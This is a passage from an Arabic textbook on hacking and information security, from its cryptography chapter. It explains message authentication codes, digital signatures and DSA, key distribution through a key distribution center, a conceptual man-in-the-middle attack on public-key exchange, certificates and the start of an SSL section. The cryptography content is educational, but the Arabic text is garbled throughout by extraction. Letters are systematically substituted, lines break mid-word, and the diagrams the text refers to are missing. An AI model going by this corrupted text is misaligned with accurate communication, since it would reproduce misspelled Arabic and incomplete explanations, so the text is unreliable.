‫سيقوم الطرف ‪ A‬بالتشفري عىل مرحلتني‪ ،‬األوىل بال ‪ Private Key‬اخلاص به‪ ،‬وِبذا يكون قد حقق ال ‪Signature‬‬

‫وال ‪.Authentication‬‬
‫ثم يقوم بالتشفري مر ًة أطرى باستخدام ال ‪ Public Key‬اخلاص بالطرف ‪ ،B‬ليكون ِبذا قد َح َق َق ال‬
‫‪ .Confidentiality‬ذذا ال يعني أن ذذا النموذج ذو األقضل!‪ ،‬الحظ أنه يستهلك ‪ Resources‬عالية بسبب لجراء‬
‫"أربع عمليات" يف كل مرة يتم لرسال رسالة قيها‪.‬‬

‫)‪Message Authentication Code (MAC‬‬

‫واآلن وبعد معرقتنا اجليدة ملفهوم ال ‪ُ ،Authentication‬يمكننا االنتقال لىل ذذه التكنولوجيا ا ُملستخدمة لتحقيق ال‬
‫‪ Authentication‬بني طرقني‪ ،‬وذي ال ‪.MAC‬‬
‫ما ذذا ال ‪..MAC‬؟‬

‫‪Cryptography‬‬
‫]‪[370‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫رتك بني طرقني) عىل الرسالة أو البيانات ا ُملراد لرساهلا‪ ،‬قيتم‬


‫لنه اليشء الذي ينتُج بعد تطبيق ال ‪( Secret Key‬ا ُمل َش َ َ‬
‫لرساله مع الرسالة لىل الطرف اآلطر‪.‬‬

‫وما ذو ذذا اليشء الناتج؟‬


‫لنه عبارة عن ”‪ ،“Fixed-size block of data‬أيض ًا ُيط َلق عليه ”‪“Cryptographic checksum‬‬

‫أو لالطتصار ‪.MAC‬‬


‫لذ ًا‪ُ ،‬يمكنُنا التعبري عن ذذا اإلجراء باملعادلة التالية‪:‬‬

‫) ‪MAC = C ( K, M‬‬

‫سنحصل عليه عند قيام ال )‪ ،MAC Function (C‬بتطبيق ال ‪Key‬‬


‫ُ‬ ‫ذذا ال ‪ MAC‬الذي سنقوم بإرقاق ُه مع الرسالة‪،‬‬
‫)‪ (K‬عىل الرسالة )‪.(M‬‬
‫يقوم الطرف اآلطر بتطبيق ال ‪ MAC Function‬أيض ًا عىل الرسالة ا ُملس َت َلمة إلنتاج ال ‪ MAC‬ومقارنته بذلك الذي‬
‫بصحبة الرسالة‪.‬‬
‫أتى ُ‬
‫سنعرض لك بعض األقكار لتطبيق ال ‪.MAC‬‬
‫نبدأ بالشكل التقليدي‪:‬‬

‫‪Cryptography‬‬
‫]‪[371‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ذذا الشكل يبدو واضح ًا و ُمبارش يف تطبيقه لل ‪ MAC Function‬و عمل ال ‪ Calculation‬لل ‪ MAC‬يف الناحية‬
‫األطرى ثم عمل املُقارنة بينهم‪.‬‬

‫الشكل الثاين‪:‬‬

‫ُقمنا ُذنا بإضاقة ططوة‪ ،‬بعد استخدام ال ‪ MAC Function‬لل ‪ Key‬يف لنتاج ال ‪ُ ،MAC‬قمنا باستخدام ‪ Key‬آطر‬
‫لتشفري (الرسالة ‪ +‬ال ‪ )MAC‬لنُعطي احلامية للرسالة يف حالة التقاطها!‪.‬‬
‫ذذا يعني أننا حققنا طاصيتني‪:‬‬
‫ال ‪ Authentication‬حققناه ولكن لل ‪ ،plaintext‬أي للرسالة قبل تشفريذا!‪ .‬وال ‪ Confidentiality‬عن طريق‬
‫استخدام ال ‪.K2‬‬

‫‪Cryptography‬‬
‫]‪[372‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫الشكل الثالث‪:‬‬

‫الحظ أننا ُذنا قمنا بتشفري الرسالة أوالً ثم ُقمنا بتطبيق ال ‪ MAC Function‬عىل الرسالة ا ُملشفرة!‪.‬‬
‫َقأص َب َح ذذا النموذج ُحيقق لنا ال ‪ Authentication‬لل ‪ ،Ciphertext‬وال ‪ Confidentiality‬عن طريق التشفري‬
‫باستخدام املفتاح ‪.K2‬‬

‫‪Digital Signature‬‬

‫ال ‪ Digital Signature‬ذي عبارة عن تطبيق ال ”‪ “Public Key Cryptography‬مع ال ”‪،“Hashing Function‬‬

‫وذلك لتحقيق ثالثة أذداف‪ ..‬ذي‪:‬‬

‫‪Authenticity‬‬
‫قهي لثبات ”‪ “Proof‬هلوية الشخص الذي قام بإرسال ذذه ال ‪Document‬‬

‫‪Cryptography‬‬
‫]‪[373‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫‪Integrity‬‬
‫لهنا تعطينا لثبات وتأكيد أن ال ‪ Document‬ذذه مل تتعرض ألي تعديل أو تغيري أثناء ال ‪ Signing‬أو أثناء رحلتها‬
‫للينا‪ .‬وذذا بسبب تعا ُملها مع كل ‪ Binary Bit‬هلذه ال ‪ Document‬ا ُملراد لرساهلا‪ُ ،‬ما َيكشف أي عملية دمج أو حذف‬
‫أو لضاقة حرف واحد هلذه ال ‪ Document‬بعد تطبيق ال ‪ Algorithm‬عليها‪.‬‬

‫‪Nonrepudiation‬‬
‫وذذه طاصية ُمهمة‪ ،‬حيث تضمن عدم لنكار ا ُملرسل إلرساله ذذه ال ‪ Document‬بكل كلمة قيها!‪ ،‬ق ُت َعد ِبذا ُمستنَد‬
‫رسمي ُيمكن لدانته به!‪.‬‬

‫عملية اإلدانة القضائية ذذه قيها لشكال‪..‬‬


‫حيث يستطيع املُرسل أن‬
‫ُ‬ ‫ال ُيمكن أن تعتد اجلهات الرسمية ِبذه التكنولوجيا وحدذا كإثبات َب ِّني عىل ا ُملرسل!‪.‬‬
‫يتملص من ذذا اإلهتام عرب ادعائه بإصابة جهازه الشخيص ب ”‪ “Malware‬مث ً‬
‫ال"‪.‬‬

‫ذذا شكل يوضح تطبيق ال ‪ Digital Signature‬بام ُحيقق ذذه اخلصائص املذكورة‪:‬‬

‫‪Cryptography‬‬
‫]‪[374‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫يوضح الشكل ططوات تطبيق ال ‪ Signature‬عىل وثيقة تقوم السيدة ”‪ “Rose‬بإرساهلا لىل السيد ”‪.“Kevin‬‬

‫لتحصل عىل ال ‪ُ ،Hash value‬ثم تقوم بتشفريذا باستخدام‬


‫ُ‬ ‫ققامت بتطبيق ال ”‪ “Hash Function‬أوالً عىل ا ُملستند‪،‬‬
‫ال ‪ Private Key‬ولرساهلا لىل السيد ‪ .Kevin‬قيقوم ذو بعكس اخلطوات و ُمقارنة ال ‪ Hash value‬ا ُملستَلم بالذي‬
‫استخرج ُه ليتأكد من سالمة املُستند‪.‬‬

‫نعرض يف الصفحة التالية شكل آطر لنفس العملية‪:‬‬

‫‪Cryptography‬‬
‫]‪[375‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫نحصل عىل ال ‪ ،(h) hash value‬وبعد‬


‫‪ ‬بعد تطبيق ال ‪ Hash‬باستخدام ال ‪ MD5‬أو ‪ SHA1‬أو ‪ُ ،SHA2‬‬
‫نحصل عىل ال )‪.(S‬‬
‫التشفري ُ‬

‫‪Cryptography‬‬
‫]‪[376‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

ُ ‫ لتَح‬Key ‫ ال‬Alice ‫ يف الناحية األطرى ُت َط ِّبق‬


.(h’) ‫صل عىل ال‬

.(h’) ‫ لتُقارن ُه بال‬،(h) ‫ قينتج ال‬،(M) ‫ أيض ًا عىل الرسالة‬MD5 ‫ قتقوم بتطبيق ال‬

Digital Signature Standard (DSS)

‫؟‬..)DSS( ‫ما ذذا ال‬


Digital Signature Security Standard (DSS) is a technology for creating digital signatures that was
developed by the National Security Agency and adopted by the United States government as its
digital-signature standard. DSS defines the Digital Signature Algorithm (DSA), DSA does not
encrypt message digests with the private key or decrypt the message digest with the public key!.
it uses special mathematical functions to generate a digital signature composed of two 160-bit
numbers (s & r) that are derived from the message digest and the private key. Then it uses the
public key to verify the signature.

‫؟‬Algorithm ‫كيف تعمل ذذه ال‬


‫ ذذا ك‬hash code ‫ ثم ُيستَخدَ م ال‬،‫ من الرسالة ا ُملراد لرساهلا‬hash code ‫ إلنتاج‬Hash Function ‫لهنا تستخدم ال‬
.)Signature Algorithm( ‫ لاىل ال‬input

‫ لال‬،‫ يف قك التشفري‬public key ‫ وتعتمد عىل ال‬،‫ يف التشفري‬private key ‫ عىل استخدام ال‬Signature ‫تعتمد ذذه ال‬
Global Public Key (Pug) ‫ وذو ال‬،‫أهنا تستقبل عنرص ثالث أيض ًا يف ذذه العملية‬

.‫ التي يستخدمها كال الطرقني‬parameters ‫لن ُه عبارة عن جمموعة من ال‬

Cryptography
[377]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫يف النهاية َينتُج عن ذذه ال ‪ Algorithm‬قيمتني َيتم لضاقتهم مع الرسالة وذم (‪ )s‬و (‪.)r‬‬

‫ذيا لنَد ُطل يف التفاصيل‪:‬‬


‫يقوم الطرف األول بعمل بعض العمليات احلسابية إلنتاج ال (‪ )s‬وال (‪،)r‬‬

‫وذم ال )‪ ،(p,q,g‬وال‬ ‫ذذا ال ‪ r‬وال ‪َ s‬سيكونا نواتج ل ‪َ functions‬ي ُ‬


‫دطل ِبا ال "‪ُ "public key components‬‬
‫‪ private key‬اخلاص بالطرف األول ونَرمز له ب )‪ ،(x‬وال ‪ hash code‬اخلاص بالرسالة ونرمز له ب )‪ ،H(M‬وأطري ًا‬
‫رقم عشوائي نستخدمه لكل عملية ‪ Sign‬نقوم ِبا ونرمز له ب )‪.(k‬‬

‫ماييل شكل يوضح كيف تدطل ذذه ال ‪ parameters‬لتكوين ال (‪ )s‬وال (‪:)r‬‬

‫‪Cryptography‬‬
‫]‪[378‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫تدطل الرسالة ‪ M‬لىل ال ‪ hash function‬ليتم انتاج ال ‪ُ hash code‬ثم ُ‬


‫يدطل األطري يف معادلة احلُصول عىل ال )‪،(s‬‬
‫حيث نستخدم ال ‪ k‬أيض ًا مع ال ‪ .q‬الحظ أن القيمة التي ستُحدد َسالمة الرسالة ُذنا ذي ال )‪ ،(r‬وذي التي سيقوم‬
‫ُ‬
‫الطرف الثاين بإجراء حساباته من أجل اطتبارذا!‪ ،‬وببعض التدقيق عىل ذذه ال ‪ Algorithm‬الرائعة ستجد أن ال )‪(r‬‬

‫ذذه ال تعتمد عىل الرسالة )‪ (M‬يف يشء!‪ ،‬بمعنى أن ال )‪ (M‬ليست من ضمن ا ُملدطالت اخلاصة ِبا‪ ،‬وذذا ما يزيد‬
‫قوهتا!‪.‬‬
‫وعندما تَصل الرسالة لىل الطرف اآلطر‪ ،‬سيقوم ب َعمل َبعض احلسابات إلنتاج قيمة نُسميها )‪ ،(v‬سيقوم بمقارنتها بال‬
‫(‪ )r‬القادمة من الطرف األول‪ ،‬وجيب أن يتشاِبا‪ ،‬ولال قيتم رقض الرسالة‪.‬‬

‫‪Cryptography‬‬
‫]‪[379‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫‪Key Distribution‬‬

‫كُنا نتحدث يف الفقرات املاضية عن ال ‪ Symmetric Cryptography‬وال ‪ Asymmetric Cryptography‬وكيف‬


‫يتم حتقيق اهلدف من طالل تشفري البيانات ا ُملراد تبا ُدهلا بني األطراف باستخدام ال ”‪ .“Keys‬ولكن كيف ستتم عملية‬
‫لرسال ال ‪ Key‬املتفق عليه لىل األطراف املشرتكة يف العملية؟‪.‬‬
‫ذذا ما سنتحدث عنه ُذنا كي تكتمل لدينا الصورة‪ .‬سنتكلم عن سيناريو لعملية ال ‪ Key Distribution‬باستخدام ال‬
‫‪ Symmetric Encryption‬مرة‪ ،‬وباستخدام ال ‪ Asymmetric Encryption‬مر ًة أطرى‪.‬‬

‫‪Cryptography‬‬
‫]‪[380‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫‪Using Symmetric Key Encryption‬‬

‫ذذا شكل ال ‪ Symmetric Encryption‬التقليدي‪ ،‬ونريد ذنا أن يصل ذذا ال ‪ key‬للطرقني بشكل آمن!‪.‬‬
‫سنُطلق عىل ذذا ال ‪ key‬باألعىل ”‪ “Session Key‬وذو ال ‪ key‬ا ُملستخدم يف عملية تبا ُدل البيانات بني الطرقني ‪ A‬و‬

‫‪ ،B‬أطلقنا عليه ‪ Session‬ألنه سيتغري عند عملية بدء ‪ Session‬جديدة‪ .‬ذذا ينطبق عىل ال ‪ Applications‬التي‬
‫تستخدم ال ‪ TCP‬كربوتوكول لنقل البيانات بشكل عام‪.‬‬
‫سيقوم ‪ A‬بالتواقق عىل )‪ Key (Ka‬آطر نُطلق عليه ”‪ ،“Master Key‬بينه وبني طرف ثالث )‪ ،(KDC‬وأيض ًا الطرف‬
‫‪ B‬سيتواقق مع ذذا ال )‪ (KDC‬عىل ‪ key‬أيض ًا )‪.(Kb‬‬

‫لنأطذ مثال‪:‬‬

‫‪Cryptography‬‬
‫]‪[381‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫بمشاركة ال ‪ KDC‬وذو اطتصار ل )‪ (Key Distribution Center‬بمفتاح )‪ ،(Ka‬وأيض ًا الطرف ‪B‬‬


‫سيقوم الطرف ‪ُ A‬‬
‫تواصل قعلية َبني ‪ A‬و ‪.B‬‬
‫سيقوم بنفس األمر مع ذذا ال ‪ KDC‬قبل أي عملية ُ‬
‫طرف ‪ B‬سيبدأ بطلب ”‪ “Session Key‬املُستخدم يف ذذه ال ‪Session‬‬
‫وعندما َيرغب ال َط َرف ‪ A‬بفتح ‪َ Session‬مع ال َ‬
‫من ال ‪.KDC‬‬

‫كيف تتم عملية طلب ال ‪ Session Key‬ذذه؟‬


‫سيدأ الطرف ‪ A‬ولنفرض أنه من يريد بدء ‪ Session‬مع الطرف ‪.B‬‬

‫‪Cryptography‬‬
‫]‪[382‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫سيبدأ بإرسال طلب لىل ال ‪ KDC‬يط ُلب منه ‪ ،Session Key‬ذذا ال َط َلب يتكون من ثالثة ُمتغريات‪.‬‬
‫األول ذو ال ‪ IDA‬ويعني ‪ Identity of A‬كأن يكون ال ‪ IP Address‬اخلاص به عىل سبيل املثال‪ ،‬والثاين ذو ال ‪IDB‬‬

‫ألن الطرف ‪ B‬ذو املعني بإنشاء اإلتصال اآلمن ُذنا!‪.‬‬


‫والثالث ذو ال ‪ ..N1‬ذذا ا ُملتغري أشبه بال ‪( Sequence number‬ا ُملستخدم من ق َبل بروتوكوالت التواصل لعمل‬
‫‪ tracking‬لل ‪ packets‬ا ُملرسلة)‪ ،‬سيكون ال ‪ُ N1‬ذنا رقم عشوائي‪.‬‬

‫قيقوم ال ‪ KDC‬بالرد عليه بإرسال رسالة ل ُه وقد تم تشفريذا بال )‪ ،(Ka‬قيتمكن الطرف ‪ A‬من قكها ألنه قد اتفق مع‬
‫ال ‪ KDC‬عىل ذذا ال ‪ Key‬من َقبل‪.‬‬
‫خرج منها عدة ُمتغريات أيض ًا‪..‬‬
‫ذذه الرسالة َبعدَ قكها َس َي ُ‬
‫َس ُيعطي ل ُه ال ‪ KDC‬ال ‪ Session Key‬الذي ُيريده ‪ A‬لبدء ال ‪ Session‬مع ‪ B‬وذو ال )‪ ،(Ks‬ويقوم بإضاقة حمتويات‬
‫الرسالة السابقة التي أرسلها له ‪ ،A‬وذذا للتأكيد عىل أن ذذا ال ‪ Response‬طاص بال ‪ Request‬الذي أرسلته ل ّيل‬
‫اآلن!‪ ،‬وليس لطلب غريه‪ ،‬وذذا يظهر من طالل لرجاع ال ‪ KDC‬نفس الرقم العشوائي ‪ N1‬لىل ‪ A‬كام ذو‪َ ،‬حتمل‬
‫الرسالة أيض ًا ال ‪ ،Kb‬وذو ال ‪ Key‬الذي أعطاه ال ‪ KDC‬للطرف ‪.B‬‬
‫ِّ‬

‫وملاذا يعطي ال ‪ KDC‬للطرف ‪ A‬ال ‪ Kb‬ذذا‪ ،‬قهو ال َخي ُُصه؟‬


‫ذذا لكي يقوم ‪ A‬بإعطاء الطرف ‪ B‬ال ‪ Ks‬وذو ال ”‪ ،“Session Key‬قيقوم بإرساله يف رسالة ُمشفرة‬
‫بال ‪ Kb‬كي يتمكن ‪ B‬من قكها واحلصول عىل ال ‪ Ks‬الذي سيستخدمه ‪ A‬قيام بعد إلرسال ما ُيريد للطرف ‪.B‬‬

‫‪Cryptography‬‬
‫]‪[383‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫الحظ أن اخلطوات الثالثة والرابعة واخلامسة تم وضعهم لتحقيق لل ”‪ “Authentication‬بني الطرقني ‪ A‬و ‪ B‬ققط‪،‬‬
‫وليست من ضمن عملية ال ‪Key Distribution‬‬

‫‪Using Asymmetric Encryption‬‬


‫تكلمنا عن ال ‪ Asymmetric Encryption‬وذو الذي نستخدم طالله ال ‪ Public Keys‬يف عملية قك التشفري‪.‬‬

‫ويمكن ألي طرف لرسال ال ‪ Public Key‬اخلاص به ألي طرف يريده كام يظهر يف الشكل التايل‪ ،‬وذذا يعد لجراء‬
‫غري آمن!‪ ،‬قربام يقوم أحدذم بإرسال أي ‪ Public Key‬واإلدعاء أنه ‪ A‬طصوص ًا يف حاالت املجموعات الربيدية‪.‬‬

‫‪Cryptography‬‬
‫]‪[384‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫وذذا مثال ُمبسط يوضح لرسال ال )‪ (Ks‬باستخدام ال ‪ .Asymmetric Encryption‬يقوم ُذنا الطرف ‪ A‬بإرسال ال‬
‫‪ Public Key‬اخلاص به )‪ (PUa‬لىل الطرف ‪ ،B‬قيقوم ‪ B‬بإرسال ال ‪ Ks‬وذو ال ”‪ “Session Key‬لىل ‪ A‬بعد تشفريه‬
‫باستخدام ال )‪ ،(PUa‬قيقوم ‪ A‬بفك التشفري باستخدام ال ‪ Private Key‬اخلاص به‪ ..‬ولكن من ا ُملمكن هلذا السيناريو‬
‫أن يتعرض لل ‪ِ MITM Attack‬بذا الشكل‪:‬‬

‫‪Cryptography‬‬
‫]‪[385‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫سيقوم السيد ‪ُ Darth‬ذنا باإلمساك بال ‪ PUa‬واالحتفاظ به‪ُ ،‬ثم يقوم بعمل ‪ generate‬ل ‪ Public Key‬جديد و ُيرسل ُه‬
‫لىل ‪ُ ،Alice‬ثم يف العودة سيأيت ال ‪ Ks‬له‪ ،‬يأطذ نُسخة من ُه ُثم َيقوم بتشفريه مر ًة أطرى باستخدام ال ‪ PUa‬و ُيعيد‬
‫لرساله لىل السيد ‪.Bob‬‬

‫وبالتايل يلزم وجود طريقة آمنة للقيام بتوزيع ال ‪ Public Keys‬بني األطراف دون تعرضها للخطر!‪ .‬وذذا سيتم‬
‫بوجود طرف ثالث كأن يتم تسليم ال ‪ Key‬بشكل يدوي‪ ،‬أو باستخدام أحد الطرق التالية يف عملية ليصال ال ‪PUa‬‬

‫لىل ‪ُ ،B‬ثم لرسال ال ‪ Ks‬قيام بعد‪.‬‬

‫‪Distribution of Public Key Methods‬‬


‫‪‬‬ ‫‪Public-Key Authority‬‬
‫‪‬‬ ‫‪Public-Key Certificate‬‬

‫‪Using Public-Key Authority‬‬


‫سنتكلم اآلن عن سيناريو باستخدام ال ‪ :Public-Key Authority‬لنفرض وجود ‪ Central Authority‬لدهيا‬
‫‪ُُ Server‬مزن به ال ‪ Public Keys‬اخلاصة بال ‪ ،Clients‬ويكون ال ‪ Public Key‬اخلاص ِبذه ال ‪ Authority‬معلوم ًا‬
‫لدهيم‪.‬‬

‫‪Cryptography‬‬
‫]‪[386‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ذذا سيناريو يوضح تفاصيل لنشاء االتصال بني ‪ A‬و ‪ B‬عرب ال ‪.Authority‬‬

‫‪Cryptography‬‬
‫]‪[387‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫يظهر يف الشكل اخلطوات ا ُملتبَعة يف ذذه العملية‪ ،‬تبدأ بقيام ‪ A‬وذو ال ‪ Initiator‬بإرسال طلب لىل ال ‪Authority‬‬

‫يط ُلب ال ‪ Public Key‬اخلاص بالطرف ‪ .B‬قرتد عليه بإرسال ال ‪ Public Key‬اخلاص بالطرف ‪ B‬برسالة ُمشفرة‬
‫بال ‪ Private Key‬اخلاص بال ‪ ،Authority‬وبام أن ‪ A‬لديه ال ‪ Public Key‬اخلاص ِبا قسيتمكن من قك التشفري‪.‬‬
‫يقوم ‪ A‬بإرسال ال ‪ ID‬اخلاص به مع رقم عشوائي يقوم باطتياره ‪ N1‬لىل ‪ B‬يف رسالة ُمشفرة باستخدام ال ‪.PUb‬‬
‫قيقوم ‪ B‬بطلب ال ‪ PUa‬من ال ‪ Authority‬ذو أيض ًا‪ ..‬و ُيرسل لىل ‪ A‬نفس الرقم العشوائي ‪ ،N1‬ويقوم بعمل‬
‫‪ Increment‬هلذا الرقم بواحد مثالً‪ ،‬لنُسميه ‪ ،N2‬ويرسله أيض ًا مع األول كَنوع من ال ‪ .Authentication‬يتم لرساهلم‬
‫يف رسالة ُمشفرة بال ‪ PUa‬كام يظهر يف اخلطوة رقم )‪.(6‬‬
‫َ‬
‫وصل لليه بالفعل!‪ ،‬كام ذو موضح باخلطوة رقم )‪.(7‬‬ ‫َق َ ُريد عليه ‪ A‬بإرسال الرقم ‪ N2‬مر ًة أطرى ليؤكد له أنه قد‬

‫‪Using Public-Key Certificate‬‬


‫تكلمنا يف الطريقة السابقة عن عملية ال ”‪ “public key distribution‬بني أي طرقني يودان التواصل بشكل آمن قيام‬
‫بينهم عن طريق ‪ Trusted Third Party‬وذي ال ‪ .Public Key Authority‬وبإجراء بعض التدقيق عىل السيناريو‬
‫السابق سنُالحظ أنه يف كل مرة ُيريد الطرف ‪ A‬التواصل مع أي طرف آطر َسيَت ََوجب عليه اإلتصال بال ‪،Autority‬‬
‫وذذا اإلجراء ُمستهلك ًا للوقت‪.‬‬

‫تم ال َت َغ ُّلب عىل ذذا األمر باستخدام ال ‪ .Certificates‬تُتيح ذذه ال ‪ Certificates‬لألطراف التواصل قيام بينها ل َت َبا ُدل‬
‫ال ‪ Public Keys‬دون احلاجة للتواصل طالل ال ‪.Public Key Authority‬‬
‫ذذه بعض اخلصائص ا ُمل َميِّزة لل ‪:Certificate‬‬

‫‪Cryptography‬‬
‫]‪[388‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫‪ .1‬ألي طرف يتواصل مع ‪ A‬يستطيع قراءة ال ‪ Certificate‬واإلطالع من طالهلا عىل بيانات الطرف ‪ A‬وعىل‬
‫ال ‪ Public Key‬اخلاص به‪.‬‬

‫‪ .2‬أي طرف يستطيع التح ُقق من ال ‪ Authority‬املان َ‬


‫حة هلذه ال ‪ ،Certificate‬بمعنى التأكد من أن ذذه ال ‪Certificate‬‬

‫ليست ُمزيفة!‪.‬‬
‫‪ .3‬أي طرف أو ُمستخدم ُيمكن ُه التح ُّقق من تاريخ أو صالحية ذذه ال ‪ ،Certificate‬بالطبع يعد التاريخ من اخلصائص‬
‫املهمة للشهادات‪ ،‬نُالحظ رقض ا ُملتصفحات َقتح بعض َمواقع اإلنرتنت يف حالة عدم ضبط ساعة جهاز الكمبيوتر‪،‬‬
‫ُ‬
‫حيث َيعتَرب حينها أن ال ‪ُ Certificates‬منتهية الصالحية!‪.‬‬
‫‪َ .4‬حيق ققط لل ‪ Certificate Authority‬عملية لنشاء أو جتديد ال ‪.Certificate‬‬

‫عرب الشكل التايل عن عملية حصول كل منهم عىل ال ‪ Certificate‬اخلاصة به من ال ‪:Certificate Authority‬‬
‫و ُي ِّ‬

‫‪Cryptography‬‬
‫]‪[389‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫يقوم الشخص بإرسال ال ‪ Public Key‬اخلاص به لىل ال ‪ ،CA‬وتقوم ذي بإرسال ال )‪Public Key (PUauth‬‬

‫اخلاص ِبا لليه‪ُ .‬ثم تتم عملية لنشاء الشهادة داطل ال ‪ CA‬بتطبيق جمموعة من اخلطوات‪ ،‬وبعدذا تقوم بإرساهلا لىل‬
‫الشخص ذاته كام يظهر بالشكل‪ ،‬عىل ذيئة رسالة ُمش ّف َرة بال ‪ PUauth‬وِبا بيانات ذذا الشخص من لسمه أو ‪ID‬‬

‫اخلاص به‪ ،‬وال ‪ Public Key‬اخلاص به‪ ،‬ويشء أطري ُيسمى )‪ ،Timestamp (T‬وذو ‪ُ field‬ي َع ِّرب عن تاريخ صدور‬
‫الشهادة ويستخدم من قبل الطرف املستلم للتحقق من ال ‪ Currency‬هلذه الشهادة‪.‬‬
‫املعادلة التالية تعرب عن عملية ال ‪ Decryption‬التي تتم بواسطة أي طرف عند استالمه ال ‪ Certificate‬اخلاصة‬
‫بالطرف ‪:A‬‬
‫)‪D (PUauth, CA) = D (PUauth, E (PRauth, [T || IDA || PUa])) = (T || IDA || PUa‬‬

‫قيقوم بعمل ‪ Decryption‬هلا باستخدام ال ‪ Public Key‬اخلاص بال ‪ Authurity‬ليتمكن من رؤية بيانات الشهادة‬
‫وال ‪ Public Key‬اخلاص بالطرف ‪.A‬‬

‫الشكل يوضح تبادل األطراف ال ‪ Certificates‬بعد اعتامدذا من نفس ال ‪.CA‬‬

‫‪Cryptography‬‬
‫]‪[390‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

Inside Secure Socket Layer (SSL)

‫ وذلك بقيامه‬.‫ عرب اإلنرتنت‬Browsers ‫ وال‬Web Servers ‫ يف تشفري البيانات بني ال‬TLS ‫ أو ال‬SSL ‫ُيستَخدَ م ال‬
‫ ومن َثم تَبا ُدل البيانات‬،‫ املُستخدَ مة يف تأمني اإلتصال وترتيبها‬Algorthims ‫بإجراء التواقق بني الطرقني عىل أنواع ال‬
.‫بأمان‬
info.ssl.com ‫ماييل مقدمة ِسيعة عنه من موقع‬
SSL is the standard security technology for establishing an encrypted link between a web server and a
browser. This link ensures that all data passed between the web server and browsers remain private and
integral. SSL is an industry standard and is used by millions of websites in the protection of their online
transactions with their customers.

To be able to create an SSL connection a web server requires an SSL Certificate. When you choose to
activate SSL on your web server you will be prompted to complete a number of questions about the
identity of your website and your company. Your web server then creates two cryptographic keys - a
Private Key and a Public Key.

The Public Key does not need to be secret and is placed into a Certificate Signing Request (CSR) - a data
file also containing your details. You should then submit the CSR. During the SSL Certificate application
process, the Certification Authority will validate your details and issue an SSL Certificate containing your
details and allowing you to use SSL. Your web server will match your issued SSL Certificate to your
Private Key. Your web server will then be able to establish an encrypted link between the website and
your customer's web browser.

Typically an SSL Certificate will contain your domain name, your company name, your address, your
city, your state and your country. It will also contain the expiration date of the Certificate and details of
the Certification Authority responsible for the issuance of the Certificate. When a browser connects to a
secure site it will retrieve the site's SSL Certificate and check that it has not expired, it has been issued by
a Certification Authority the browser trusts, and that it is being used by the website for which it has been
issued. If it fails on any one of these checks the browser will display a warning to the end user letting
them know that the site is not secured by SSL.

Cryptography
[391]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫أي َ‬
‫قوق ال ‪ .TCP‬قهو يعمل ك ‪ Socket‬بني ال ‪Application‬‬ ‫يعمل بروتوكول ال ‪ SSL‬قوق ال ‪َ ،Transport Layer‬‬
‫‪ Layer‬وال ‪ ،Transport Layer‬ويقوم بتأمني اإلتصال لل ‪ Applications‬التي تعتمد عىل ال ‪ TCP‬كربوتوكول لنقل‬
‫ال ‪ Data‬كام يظهر بالشكل التايل‪:‬‬

‫يقوم ال ‪ SSL‬بخدمة ال ‪ Application Layer Protocols‬كال ‪ ،HTTP‬ويعتمد عىل ال ‪ TCP‬يف عملية نقل ال‬
‫‪ Messages‬بني ال ‪ Web Servers‬وال ‪.Browsers‬‬
‫واآلن‪ ..‬سنبدأ بتغطية ال ‪ SSL‬بيشء‬
‫من التفصيل‪ .‬يف احلقيقة‪ ،‬ال يعمل ال‬
‫‪ SSL‬يف طبقة وحيدة‪ ،‬أي أنه ال ُي َعد‬
‫عمل يف‬
‫‪ !..Single Protocol‬ولكن َي َ‬
‫طبقتني قوق ال ‪ TCP‬كام يظهر‬
‫بالشكل‪ .‬أيض ًا ُيظهر لنا الشكل بعض‬
‫التفاصيل اخلاصة ِبذا الربوتوكول‪،‬‬
‫”‪.“SSL Protocol Stack‬‬

‫‪Cryptography‬‬
‫]‪[392‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫كام نُالحظ أنه َيش َغل طبقتني‪:‬‬


‫ظفهم ال ‪SSL‬‬
‫َشمل ثالثة بروتوكوالت ُي َو ُ‬
‫لحداذم لل ‪ ،SSL Record Protocol‬واألطرى التي ت َ‬
‫ُ‬ ‫)‪،(Two Layers‬‬
‫يف لدارة عملية ال ‪ Message Exchanges‬بني الطرقني‪.‬‬

‫يتم لنشاء ال ‪ Connection‬عىل مرحلتني‪:‬‬


‫وذي ال ‪.Handshake Phase‬‬
‫‪ ‬املرحلة األوىل َ‬
‫وذي ‪.Secure Data Transfer Phase‬‬
